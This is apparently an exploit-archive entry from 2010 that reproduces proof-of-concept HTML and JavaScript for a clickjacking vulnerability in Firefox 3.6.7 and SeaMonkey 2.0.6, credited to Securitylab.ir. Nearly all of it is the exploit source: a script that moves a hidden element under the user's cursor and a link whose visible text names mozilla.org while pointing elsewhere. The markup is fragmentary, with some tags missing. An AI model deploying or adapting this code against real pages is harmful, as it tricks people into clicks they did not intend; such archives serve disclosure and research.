发布 2010-07-23 漏洞条目

Multiple Browsers (FF3.6.7/SM 2.0.6) – Clickjacking

Exploit Source

<title>FF3.6.7/SM 2.0.6 ClickJacking Vulnerability</title>

</head><body>

function clickjack_armor(evt)

{

clickjack_mouseX=evt.pageX?evt.pageX:evt.clientX;

clickjack_mouseY=evt.pageY?evt.pageY:evt.clientY;

document.getElementById('mydiv').style.left=clickjack_mouseX-1;

document.getElementById('mydiv').style.top=clickjack_mouseY-1;

}

</script>

<br>

<center><h1><font face="Calibri">Firefox 3.6.7 / SeaMonkey 2.0.6 Clickjacking Vulnerability</font></h1>

<a href="http://www.Securitylab.ir" onclick="clickjack_armor(event)"> Go

to the http://www.Securitylab.ir : (http://www.mozilla.org)</a></b></div>

</center>

<b><font face="Calibri">Pouya Daneshmand, Securitylab.ir</font></b></div>

</center></body></html>

相关漏洞条目